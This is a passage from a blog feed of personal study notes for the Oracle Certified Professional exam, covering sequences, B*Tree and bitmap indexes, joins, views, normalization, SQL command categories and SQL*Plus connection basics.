&lt;span id="cb24-5"&gt;&lt;a aria-hidden="true" href="#cb24-5" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;The&lt;/span&gt; highest &lt;span class="dt"&gt;number&lt;/span&gt; an ascending &lt;span class="kw"&gt;sequence&lt;/span&gt; can go &lt;span class="kw"&gt;to&lt;/span&gt; &lt;span class="kw"&gt;before&lt;/span&gt; generating an error &lt;span class="kw"&gt;or&lt;/span&gt; &lt;span class="kw"&gt;returning&lt;/span&gt; &lt;span class="kw"&gt;to&lt;/span&gt; its &lt;span class="kw"&gt;START&lt;/span&gt; &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="fu"&gt;value&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb24-6"&gt;&lt;a aria-hidden="true" href="#cb24-6" tabindex="-1"&gt;&lt;/a&gt;           &lt;span class="kw"&gt;The&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;no&lt;/span&gt; maximum.&lt;/span&gt;
&lt;span id="cb24-7"&gt;&lt;a aria-hidden="true" href="#cb24-7" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;MINVALUE&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt; | &lt;span class="kw"&gt;NOMINVALUE&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb24-8"&gt;&lt;a aria-hidden="true" href="#cb24-8" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;The&lt;/span&gt; lowest &lt;span class="dt"&gt;number&lt;/span&gt; a descending &lt;span class="kw"&gt;sequence&lt;/span&gt; can go &lt;span class="kw"&gt;to&lt;/span&gt; &lt;span class="kw"&gt;before&lt;/span&gt; generating an error &lt;span class="kw"&gt;or&lt;/span&gt; &lt;span class="kw"&gt;returning&lt;/span&gt; &lt;span class="kw"&gt;to&lt;/span&gt; its &lt;span class="kw"&gt;START&lt;/span&gt; &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="fu"&gt;value&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb24-9"&gt;&lt;a aria-hidden="true" href="#cb24-9" tabindex="-1"&gt;&lt;/a&gt;           &lt;span class="kw"&gt;The&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;no&lt;/span&gt; &lt;span class="kw"&gt;minimum&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb24-10"&gt;&lt;a aria-hidden="true" href="#cb24-10" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;CYCLE&lt;/span&gt; | &lt;span class="kw"&gt;NOCYCLE&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb24-11"&gt;&lt;a aria-hidden="true" href="#cb24-11" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Controls &lt;span class="kw"&gt;the&lt;/span&gt; behavior &lt;span class="kw"&gt;on&lt;/span&gt; reaching &lt;span class="kw"&gt;MAXVALUE&lt;/span&gt; &lt;span class="kw"&gt;or&lt;/span&gt; &lt;span class="kw"&gt;MINVALUE&lt;/span&gt;. &lt;span class="kw"&gt;The&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt; behavior &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;to&lt;/span&gt; give an error&lt;/span&gt;
&lt;span id="cb24-12"&gt;&lt;a aria-hidden="true" href="#cb24-12" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="cf"&gt;If&lt;/span&gt; &lt;span class="kw"&gt;CYCLE&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; specified &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;sequence&lt;/span&gt; will &lt;span class="kw"&gt;return&lt;/span&gt; &lt;span class="kw"&gt;to&lt;/span&gt; its starting point &lt;span class="kw"&gt;and&lt;/span&gt; repeat.&lt;/span&gt;
&lt;span id="cb24-13"&gt;&lt;a aria-hidden="true" href="#cb24-13" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;CACHE&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt; | &lt;span class="kw"&gt;NOCACHE&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb24-14"&gt;&lt;a aria-hidden="true" href="#cb24-14" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Oracle can preissue &lt;span class="kw"&gt;sequence&lt;/span&gt; &lt;span class="kw"&gt;values&lt;/span&gt; &lt;span class="kw"&gt;in&lt;/span&gt; batches &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="kw"&gt;cache&lt;/span&gt; them &lt;span class="cf"&gt;for&lt;/span&gt; issuing &lt;span class="kw"&gt;to&lt;/span&gt; users.&lt;/span&gt;
&lt;span id="cb24-15"&gt;&lt;a aria-hidden="true" href="#cb24-15" tabindex="-1"&gt;&lt;/a&gt;           &lt;span class="kw"&gt;The&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;to&lt;/span&gt; generate &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="kw"&gt;cache&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;next&lt;/span&gt; &lt;span class="dv"&gt;20&lt;/span&gt; &lt;span class="kw"&gt;values&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb24-16"&gt;&lt;a aria-hidden="true" href="#cb24-16" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;ORDER&lt;/span&gt; | &lt;span class="kw"&gt;NOORDER&lt;/span&gt;] ;&lt;/span&gt;
&lt;span id="cb24-17"&gt;&lt;a aria-hidden="true" href="#cb24-17" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;Only&lt;/span&gt; relevant &lt;span class="cf"&gt;for&lt;/span&gt; a clustered &lt;span class="kw"&gt;database&lt;/span&gt;:&lt;/span&gt;
&lt;span id="cb24-18"&gt;&lt;a aria-hidden="true" href="#cb24-18" tabindex="-1"&gt;&lt;/a&gt;           &lt;span class="kw"&gt;ORDER&lt;/span&gt; forces &lt;span class="kw"&gt;all&lt;/span&gt; &lt;span class="kw"&gt;instances&lt;/span&gt; &lt;span class="kw"&gt;in&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;cluster&lt;/span&gt; &lt;span class="kw"&gt;to&lt;/span&gt; coordinate incrementing &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;sequence&lt;/span&gt;,&lt;/span&gt;
&lt;span id="cb24-19"&gt;&lt;a aria-hidden="true" href="#cb24-19" tabindex="-1"&gt;&lt;/a&gt;           so that numbers issued are always &lt;span class="kw"&gt;in&lt;/span&gt; &lt;span class="kw"&gt;order&lt;/span&gt; even &lt;span class="cf"&gt;when&lt;/span&gt; issued &lt;span class="kw"&gt;to&lt;/span&gt; sessions against different &lt;span class="kw"&gt;instances&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb24-20"&gt;&lt;a aria-hidden="true" href="#cb24-20" tabindex="-1"&gt;&lt;/a&gt;           &lt;span class="kw"&gt;NOORDER&lt;/span&gt; &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="26" type="1"&gt;
&lt;li&gt;If your application selects from the sequence 10 times a second,
then set the cache value to 50 thousand.&lt;/li&gt;
&lt;li&gt;NEXTVAL -&amp;gt; forces the sequence to increment,&lt;/li&gt;
&lt;li&gt;CURRVAL -&amp;gt; the last (or “current”) value issued to that session
with the CURRVAL pseudo column&lt;/li&gt;
&lt;li&gt;The CURRVAL will be constant for one session until it selects
NEXTVAL again.&lt;/li&gt;
&lt;li&gt;You can always obtain the next value by incrementing it with
NEXTVAL, and you can always recall the last value issued to YOUR session
with CURRVAL, but you CANNOT find the last value issued.&lt;/li&gt;
&lt;li&gt;The CURRVAL of a sequence is the last value issued to the current
session, not necessarily the last value issued. .. You cannot select the
CURRVAL until after selecting the NEXTVAL.&lt;/li&gt;
&lt;li&gt;A COMMIT is not necessary to make the increment of a sequence
permanent: .. It is permanent and made visible to the rest of the world
the moment it happens. .. Even if the insert or update is rolled back,
the sequence is NOT ROLLEDBACK&lt;/li&gt;
&lt;li&gt;The gaps will be larger if the database has been restarted and the
CACHE clause was used. .. All numbers that have been generated and
cached but not yet issued will be lost when the database is shut down ..
At the next restart, the current value of the sequence will be the last
number generated, not the last issued.&lt;/li&gt;
&lt;li&gt;Altering a sequence&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb25"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb25-1"&gt;&lt;a aria-hidden="true" href="#cb25-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;ALTER&lt;/span&gt; &lt;span class="kw"&gt;SEQUENCE&lt;/span&gt; sequencename&lt;/span&gt;
&lt;span id="cb25-2"&gt;&lt;a aria-hidden="true" href="#cb25-2" tabindex="-1"&gt;&lt;/a&gt;[&lt;span class="kw"&gt;INCREMENT&lt;/span&gt; &lt;span class="kw"&gt;BY&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb25-3"&gt;&lt;a aria-hidden="true" href="#cb25-3" tabindex="-1"&gt;&lt;/a&gt;[&lt;span class="kw"&gt;START&lt;/span&gt; &lt;span class="kw"&gt;WITH&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb25-4"&gt;&lt;a aria-hidden="true" href="#cb25-4" tabindex="-1"&gt;&lt;/a&gt;[&lt;span class="kw"&gt;MAXVALUE&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt; | &lt;span class="kw"&gt;NOMAXVALUE&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb25-5"&gt;&lt;a aria-hidden="true" href="#cb25-5" tabindex="-1"&gt;&lt;/a&gt;[&lt;span class="kw"&gt;MINVALUE&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt; | &lt;span class="kw"&gt;NOMINVALUE&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb25-6"&gt;&lt;a aria-hidden="true" href="#cb25-6" tabindex="-1"&gt;&lt;/a&gt;[&lt;span class="kw"&gt;CYCLE&lt;/span&gt; | &lt;span class="kw"&gt;NOCYCLE&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb25-7"&gt;&lt;a aria-hidden="true" href="#cb25-7" tabindex="-1"&gt;&lt;/a&gt;[&lt;span class="kw"&gt;CACHE&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt; | &lt;span class="kw"&gt;NOCACHE&lt;/span&gt;]&lt;/span&gt;
&lt;span id="cb25-8"&gt;&lt;a aria-hidden="true" href="#cb25-8" tabindex="-1"&gt;&lt;/a&gt;[&lt;span class="kw"&gt;ORDER&lt;/span&gt; | &lt;span class="kw"&gt;NOORDER&lt;/span&gt;] ;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="35" type="1"&gt;
&lt;li&gt;&lt;p&gt;ALTER command is the same as the CREATE command, with one
exception: there is no way to set the starting value. .. If you want to
restart the sequence, the only way is to drop it and re-create
it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A unique constraint also requires an index. The difference from a
primary key constraint is that the column(s) of the unique constraint
can be left null, perhaps in many rows. .. This does not affect the
creation and use of the index: nulls do not go into the B*Tree
indexes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Foreign key constraints are enforced by indexes, but the index
must exist on the parent table&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You should always create indexes on the foreign key columns
within the child table for performance reasons: a DELETE on the parent
table will be much faster if Oracle can use an index to determine
whether there are any rows in the child table referencing the row that
is being deleted&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If there is no index on the column(s) referenced in the WHERE
clause, the only way to do this is with a full table scan.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A SELECT statement that includes the ORDER BY, GROUP BY, or UNION
keywords (and a few others) must sort the rows into order - unless there
is an index, which can return the rows in the correct order without
needing to sort them first.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use of Indexes&lt;/p&gt;
&lt;p&gt;-&amp;gt; For Primary keys and Foreign keys -&amp;gt; For Sorting during the
usage of ORDER BY or GROUP BY or UNION -&amp;gt; When tables are
joined&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Table Joins -&amp;gt; depending on the size of the tables and the
memory resources available, it may be quicker to scan tables into memory
and join them there, rather than use indexes -&amp;gt; decision by
Oracle&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The nested loop join technique passes through one table using an
index on the other table to locate the matching rows: this is usually a
disk-intensive operation .. A hash join technique reads the entire table
into memory, converts it into a hash table, and uses a hashing algorithm
to locate matching rows; this is more memory and CPU intensive .. A sort
merge join sorts the tables on the join column then merges them
together: this is often a compromise between disk, memory, and CPU
resources&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Types of indexes -&amp;gt; B*Tree index, which is the default index
type, and the Bitmap Index&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;B*Tree indexes: these can be either unique or nonunique. -&amp;gt;
Nonunique is the default. -&amp;gt; “B” stands for “balanced” .. A unique
index will not permit insertion of two rows with the same key values; ..
a nonunique index will permit as many rows as you want with the same
values.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Indexes will improve performance for data retrieval but reduce
performance for DML operations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;B*tree Index .. The root node of the tree points to many nodes at
the second level, which can point to many nodes at the third level, and
so on .. The necessary depth of the tree will be largely determined by
the number of rows in the table and the length of the index key
values.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The B*Tree structure is very efficient. If the depth is greater
then three or four, than either the index keys are very long or the
table has billions of rows. .. If neither if these is the case, then the
index is in need of a rebuild.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The leaf nodes of the index tree store the rows’ keys, in order,
each with a pointer that identifies the physical location of the
row&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The pointer to the row is the rowid -&amp;gt; Oracle proprietary
pseudocolumn that every row in every table has .. Encrypted within it is
the physical address of the row.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ROWID: A row’s rowid is globally unique. Every row in every table
in the whole database will have a different rowid. .. The rowid
encryption gives the physical address of the row: from it, Oracle can
calculate which operating system file and where in the file the row is,
and go straight to it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;B*Tree indexes are very efficient if the number of rows needed is
low in proportion to the total number of rows in the table and if the
table is large&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Often said that if the query is going to retrieve more than 2 to
4 percent of the rows, then a full table scan will be quicker. .. A
major exception to this is if the value specified in the WHERE clause is
NULL. NULLs do not go into B&lt;em&gt;Tree indexes .. select &lt;/em&gt; from
employees where last_name is null; -&amp;gt; ALWAYS A FULL TABLE
SCAN&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;B*Tree index should not be used: .. On a column with few unique
values, as it will not be selective: .. The proportion of the table that
will be retrieved for each distinct key value will be too high&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;B*Tree indexes should be used if: .. The cardinality (the number
of distinct values) in the column is high, and .. The number of rows in
the table is high, and .. The column is used in WHERE clauses or JOIN
conditions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A Bitmap Index stores the rowids associated with each key value
as a bitmap .. WALKIN 11010111000101011101011101….. .. DELIVERY
00101000111010100010100010….. .. This means that the first row has the
column value of WALKIN, Second row as WALKIN, Third as DELIVERY .. So
every different value will be a bitmap, this includes NULLS as well
which will be a seperate bitmap&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;select count(*) from sales where channel='WALKIN' and shop='OXFORD';&lt;/code&gt;
.. Oracle can retrieve the two relevant bitmaps and add them together
with a Boolean AND operation: .. The result of the AND operation shows
that only the seventh and sixteenth rows qualify for selection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A particular advantage that bitmap indexes have over B*Tree
indexes is that they include NULLs. As far as the bitmap index is
concerned, NULL is just another distinct value, which will have its own
bitmap.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Bitmap indexes should be used if: .. The cardinality (the number
of distinct values) in the column is low (such as male/female), and ..
The number of rows in the table is high, and .. The column is used in
Boolean algebra (AND/OR/NOT) operations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;CREATE [UNIQUE | BITMAP] INDEX [ schema.]indexname ON [schema.]tablename (column [, column...] );&lt;/code&gt;
.. The default type of index is a nonunique B*Tree index.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is not possible to create a unique bitmap index&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Indexes are schema objects, and it is possible to create an index
in one schema on a table in another&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A composite index is an index on several columns .. Composite
indexes can be on columns of different data types, and the columns do
not have to be adjacent in the table.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;create unique index dept_i1 on dept(deptno);&lt;/code&gt; .. It
will not be possible to insert duplicate values&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;create index emp_i2 on emp(surname,forename);&lt;/code&gt; ..
will accept duplicate values&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;create bitmap index emp_i3 on emp(deptno);&lt;/code&gt; .. Bitmap
index&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A unique and primary key constraint can be enforced by indexes
that are either unique or nonunique: .. In case of Pimary Key, it will
be a nonunique index that happens to have only unique values.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The Oracle server should make the best decision about index use,
but if it gets it wrong it is possible for a programmer to embed
instructions, known as OPTIMIZER HINTS, in code that will force the use
(or not) of certain indexes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The ALTER INDEX command lies in the database administration
domain and would typically be used to adjust the physical properties of
the index, not the logical properties that are of interest to
developers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When a table is dropped, all the indexes and constraints defined
for the table are dropped as well. .. If an index was created implicitly
by creating a constraint, then dropping the constraint will also drop
the index. .. If the index had been created explicitly and the
constraint created later, then if the constraint is dropped the index
will survive.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Bitmap indexes cannot be unique. The keywords BITMAP and UNIQUE
are mutually exclusive .. A bitmap index can be composite, with columns
of different data types.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There is nothing known as a precompilation of Views. All the
views take the same time even with different types of joins&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;create view dept_v as select * from dept;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;create synonym dept_s for dept_v;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Table -&amp;gt; View -&amp;gt; synonym .. If table is dropped and when
querying the synonym or the view, recompilation of view happens and
error is thrown&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We can never know what would the nextval of a sequence is as
multiple sessions can be using it&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A UNIQUE constraint on a column requires an index. -&amp;gt; If a
UNIQUE or NONUNIQUE index already exists on the column, it will be
used.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;</content><category term="Software-Engineering"/><category term="oracle"/><category term="certification"/><category term="coding"/><category term="development"/><category term="sql"/></entry><entry><title>Studying for OCP - Oracle Certifed Professional - Part 1</title><link href="https://sengopal.me/posts/studying-for-ocp-oracle-certifed-professional-part-1" rel="alternate"/><published>2009-02-12T00:00:00-08:00</published><updated>2009-02-12T00:00:00-08:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2009-02-12:/posts/studying-for-ocp-oracle-certifed-professional-part-1</id><summary type="html">I am studying for the Oracle Certified Professional certification and following are notes which are specific to the certification, from the prep book. These notes are also helpful for a refresher on SQL syntax and usability.</summary><content type="html">&lt;p&gt;I am studying for the Oracle Certified Professional certification and
following are notes which are specific to the certification, from the
prep book. These notes are also helpful for a refresher on SQL syntax
and usability.&lt;/p&gt;
&lt;h3 id="chapter-1"&gt;Chapter 1&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;The client tier consists of two components: the users and the user
processes. The server tier has three components: the server processes
that execute the SQL, the instance, and the database itself.&lt;/li&gt;
&lt;li&gt;User Processes - SQL*Plus and SQL Developer&lt;/li&gt;
&lt;li&gt;Oracle Net - Proprietary client server software used by Oracle DB
for communication&lt;/li&gt;
&lt;li&gt;Table &amp;lt;###&amp;gt; relation or an entity.&lt;/li&gt;
&lt;li&gt;Rows &amp;lt;###&amp;gt; records or tuples, and columns &amp;lt;###&amp;gt;
attributes or fields.&lt;/li&gt;
&lt;li&gt;No. of rows &amp;lt;###&amp;gt; cardinality of the tuples.&lt;/li&gt;
&lt;li&gt;Hierarchical paradigm =&amp;gt; Storing employees of each department
seperately&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Rows are delimited by comma&lt;/li&gt;
&lt;li&gt;Data retrieval is faster, updation is difficult&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="8" type="1"&gt;
&lt;li&gt;Relation paradigm is useful in OLTP, DSS&lt;/li&gt;
&lt;li&gt;Normalization - BOOKS Table - ISBN, Title, Author,
Publisher&amp;amp;Address&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;The first normal form is to remove the repeating groups - Make one
primary key per table&lt;/li&gt;
&lt;li&gt;1st normal form - BOOKS - ISBN, Title, Publisher&amp;amp;Address AUTHORS
- Name, ISBN&lt;/li&gt;
&lt;li&gt;The second normal form removes columns from the table that are not
dependent on the primary key&lt;/li&gt;
&lt;li&gt;2nd Normal form - BOOKS - ISBN, Title, Publisher, AUTHORS - -do- ,
PUBLISHER - PUBLISHER,street, city, state&lt;/li&gt;
&lt;li&gt;Third normal form removes all columns that are interdependent&lt;/li&gt;
&lt;li&gt;3rd Normal form - PUBLISHERS - PUBLISHER, Address Code ADDRESSES -
Address Code, Street, City, State&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="10" type="1"&gt;
&lt;li&gt;&lt;p&gt;Every table should have a primary key defined.This is a
requirement of the relational paradigm. Note that the Oracle database
deviates from this standard: it is possible to define tables without a
primary key&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standards .. Primary key columns identified with a hash (#) ..
Foreign key columns identified with a back slash () .. Mandatory columns
(those that cannot be left empty) with an asterisk (*) .. Optional
columns with a lowercase &lt;code&gt;o&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“crow’s feet” to indicate which sides of the relationship are the
many and the one.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SQL is managed by ISO and ANSI. .. ISO - Organisation
Internationale de Normalisation, based in Geneva .. ANSI - American
National Standards Institute, based in Washington, DC.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SQL Commands .. Data Manipulation Language (DML) commands:
SELECT, INSERT, UPDATE, DELETE, MERGE .. Data Definition Language (DDL)
commands: CREATE, ALTER, DROP, RENAME, TRUNCATE, COMMENT .. Data Control
Language (DCL) commands: GRANT, REVOKE .. Transaction Control Language
(TCL) commands: COMMIT, ROLLBACK, SAVEPOINT&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SQL Tools .. SQL*Plus is a user process written in C. .. It
establishes a session against an instance and a database over the Oracle
Net protocol. .. The platforms for the client and the server can be
different /u01/app/oracle/product/db_1/bin/sqlplus - typical location ..
Env Variables required are: … The ORACLE_HOME - the set of files and
directories containing the executable code and some of the configuration
files. … PATH must include ORACLE_HOME/bin … LD_LIBRARY_PATH
ORACLE_HOME/lib. [but in practice you may get away without setting this]
… database username followed by a forward slash character as a
delimiter, then a password followed by an @ symbol as a delimiter, and
finally an Oracle Net connect identifier. … Ex: sqlplus
system/oracle@orc1 … executable file sqlplus.exe, and the graphical
version was sqlplusw.exe … Windows: D:\11.1.0_2.exe … Logon String:
system/oracle@orcl … sqlplus /nolog - to prevent it from immediately
presenting a login prompt
HKEY_LOCAL_MACHINE/SOFTWARE/ORACLE/KEY_OraDb11g_home1 - Registry Key for
Env Variables&lt;/p&gt;
&lt;p&gt;… sqlplus scott/tiger@orcl - resolves the server orc1 using
tnsnames.ora or using LDAP [TNS - Transparent Network Substrate ] …
sqlplus scott/tiger@linsrv1.bplc.co.za:1521/orcl.bplc.com - Complete
details of server IP and port and the database service to connect to. …
SQL Developer - JDK1.5 is the prerequisite&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Definitions .. A database user is a person who can log on to the
database. .. A database schema is all the objects in the database owned
by one user. .. CREATE SCHEMA command does not create a schema, it is
used for creating objects in a schema. .. A schema is initially created
empty, when a user is created with the CREATE USER command.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ol start="17" type="1"&gt;
&lt;li&gt;Notes .. SQL, PL/SQL, and Java can all run in the database .. Third
normal form is the usual form aimed for by systems analysts when they
normalize data into relational structures. .. SQL Developer needs a
graphics terminal to display windows and JRE .. A schema and a user are
inseparable.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-2"&gt;Chapter 2&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;DESC[RIBE] &lt;schema&gt;.tablename&lt;/schema&gt;&lt;/li&gt;
&lt;li&gt;access to a special table called DUAL, which belongs to the SYS
schema&lt;/li&gt;
&lt;li&gt;NUMBER(p,s) -&amp;gt; precision and scale -&amp;gt; max number of digits
given in precision&lt;/li&gt;
&lt;li&gt;CHAR data type utilizes storage inefficiently, padding any unused
components with spaces.&lt;/li&gt;
&lt;li&gt;TIMESTAMP data type - introduction in Oracle 9i&lt;/li&gt;
&lt;li&gt;Three concepts from relational theory encompass the capability of
the SELECT statement: projection, selection, and joining .. Projection
refers to the restriction of attributes (columns) selected from a
relation or table .. Selection refers to the restriction of the tuples
or rows selected from a relation (table) .. Joining, as a relational
concept, refers to the interaction of tables with each other in a
query&lt;/li&gt;
&lt;li&gt;SELECT *|{[DISTINCT] column|expression [alias],…} FROM table;&lt;/li&gt;
&lt;li&gt;DISTINCT performs a distinct for the combination of columns. Ex:
select distinct job_id, department_id from job_history;&lt;/li&gt;
&lt;li&gt;SQL*Plus always requires a statement terminator, and usually a
semicolon is used.&lt;/li&gt;
&lt;li&gt;Individual statements in SQL scripts are commonly terminated by a
line break (or carriage return) and a forward slash on the next line,
instead of a semicolon.&lt;/li&gt;
&lt;li&gt;SELECT TABLE_NAME from USER_TABLES&lt;/li&gt;
&lt;li&gt;Hierarchy&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;-&lt;/span&gt; Brackets or parentheses&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;/&lt;/span&gt; &lt;span class="op"&gt;-&lt;/span&gt; Division&lt;/span&gt;
&lt;span id="cb1-3"&gt;&lt;a aria-hidden="true" href="#cb1-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;*&lt;/span&gt; &lt;span class="op"&gt;-&lt;/span&gt; Multiplication&lt;/span&gt;
&lt;span id="cb1-4"&gt;&lt;a aria-hidden="true" href="#cb1-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;-&lt;/span&gt; &lt;span class="op"&gt;-&lt;/span&gt; Subtraction&lt;/span&gt;
